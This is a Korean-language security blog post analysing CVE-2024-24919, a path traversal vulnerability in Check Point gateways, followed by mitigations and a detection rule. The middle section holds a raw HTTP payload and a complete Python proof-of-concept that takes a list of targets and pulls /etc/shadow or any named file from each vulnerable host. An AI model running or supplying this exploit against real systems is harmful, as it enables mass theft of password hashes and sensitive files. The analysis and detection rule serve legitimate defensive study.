꼰머의 보안공부

1. 취약점 [1]

- Check Point사 제품들에서 발견된 Path Traversal 취약점
> 익스플로잇에 성공한 공격자들은 민감 정보를 탈취할 수 있음

2. 주요내용 [2]

- 패치 전후를 비교해 보면 "send_path_traversal_alert_log"라는 새 로깅 함수가 추가되어 있음
> 해당 함수는 sanitize_filename 함수에 의해 호출
> sanitize_filename를 참조를 확인하면 "sub_80F09E0 함수"와 "cpHttpSvc_register_query 함수"를 찾을 수 있음

- cpHttpSvc_register_query 함수는 /clients/MyCRL URL을 사용하는 것으로 확인됨
> 해당 엔드포인트는 특정 경로를 GET 또는 POST로 요청하면 파일 시스템에서 해당 경로에 있는 파일을 반환해주는 역할을 수행
> URL에 특정 제어 문자를 추가(Ex. /clients/ MyCRL/test%0Atest) 하여 GET 요청을 전송하거나 POST 요청에 ..를 추가하는 경우 에러를 반환

- sub_80F09E0 함수에는 _fopen 및 _fread 함수가 있음을 확인할 수 있음
> IDA가 인식하지 못하는 문자열들을 참조하는 것을 확인할 수 있음
> GDB를 통해 확인해보면, 사용자가 요청한 URL과 하드코딩된 여러 문자열을 strstr()로 비교 및 일치 시 파일 다운로드를 허용
> 하드코딩된 문자열 중 "CSHELL/"라는 문자열을 확인 가능

- CSHELL/ 문자열 뒤에 "../"를 추가할 경우
> strstr() 함수는 CSHELL/ 문자열이 있기에 참을 반환
> 따라서, 추가한 ../ 문자열에의해 Path Traversal을 수행할 수 있게 됨

<<최종 페이로드 예시>>
POST /clients/MyCRL HTTP/1.1
Host: <redacted>
Content-Length: 39

aCSHELL/../../../../../../../etc/shadow

2.1 PoC [3]

- /clients/MyCRL URL로 POST 요청
- aCSHELL 매개변수에 경로 순회 문자(../) 및 대상 파일(/etc/passwd 등)을 포함해 요청 

import argparse
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

# Suppress SSL warnings
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

vuln = ['root:', 'nobody:']


def make_request(url, payload=None, headers=None):
    try:
        response = requests.post(url, data=payload, headers=headers, verify=False)
        if response.ok:
            for word in vuln:
                if word in response.text:
                    print(f"[+] {url} is vulnerable")
                    if payload and payload.startswith("aCSHELL/../../../../../../../etc/shadow"):
                        print("╔══════════════════════════════════════════════════════╗")
                        print("║                      etc/shadow found:               ║")
                        print("╚══════════════════════════════════════════════════════╝")
                        print("╔══════════════════════════════════════════════════════╗")
                        print(f"                      {response.text}                ")
                        print("╚══════════════════════════════════════════════════════╝")
                    elif payload:
                        print("╔══════════════════════════════════════════════════════╗")
                        print("║                      Your file was found:            ║")
                        print("╚══════════════════════════════════════════════════════╝")
                        print("╔══════════════════════════════════════════════════════╗")
                        print(f"                      {response.text}                ")
                        print("╚══════════════════════════════════════════════════════╝")
                    return
            print(f"[-] {url} is not vulnerable")
        else:
            print(f"[-] {url} responded with status code: {response.status_code}")
    except requests.RequestException as e:
        print(f"Error making request to {url}: {e}")


def main():
    payload = "aCSHELL/../../../../../../../etc/shadow"
    parser = argparse.ArgumentParser(description="CVE-2024-24919 POC - erg0sum")
    parser.add_argument("-l", metavar='filename', type=str, help="File containing list of HTTP/HTTPS targets")
    parser.add_argument("-f", metavar='file', type=str, help="File to read for custom payload (May break on multiple targets with unknown files.)")
    args = parser.parse_args()

    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "none",
        "Sec-Fetch-User": "?1",
        "Dnt": "1",
        "Sec-Gpc": "1",
        "Te": "trailers",
        "Connection": "close"
    }

    payload_base = "aCSHELL/../../../../../../../{}"

    if args.f:
        payload = payload_base.format(args.f)

    if args.l:
        try:
            with open(args.l, 'r') as file:
                urls = file.readlines()
                for url in urls:
                    url = url.strip()
                    if url.startswith('http://') or url.startswith('https://'):
                        make_request(url + '/clients/MyCRL', payload=payload, headers=headers)
                    else:
                        print(f"Skipping invalid URL: {url}")
        except FileNotFoundError:
            print(f"Error: File '{args.l}' not found.")
    else:
        print("Please provide a file containing list of HTTP/HTTPS targets using -l option.")


if __name__ == "__main__":
    main()

3. 대응방안

- 벤더사 제공 Hotfix 적용 [5]
> 핫픽스 적용 후 약한 인증 방법과 비밀번호를 사용한 모든 로그인 시도가 자동으로 차단 및 기록됨

- 취약한 사용자 계정 제거, 계정 정보 변경 등 조치

- 탐지정책 적용

alert tcp any any -> any any (msg:"CVE-2024-24919 Check Point Path Traversal"; content:"POST"; http_method;content:"/clients/MyCRL"; nocase; http_uri;content:"aCSHELL"; nocase;)

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-24919
[2] https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/
[3] https://github.com/seed1337/CVE-2024-24919-POC
[4] https://www.youtube.com/watch?v=h7iWwEBmlck
[5] https://support.checkpoint.com/results/sk/sk182336
[6] https://hackyboiz.github.io/2024/06/01/j0ker/2024-06-01/
[7] https://www.dailysecu.com/news/articleView.html?idxno=156396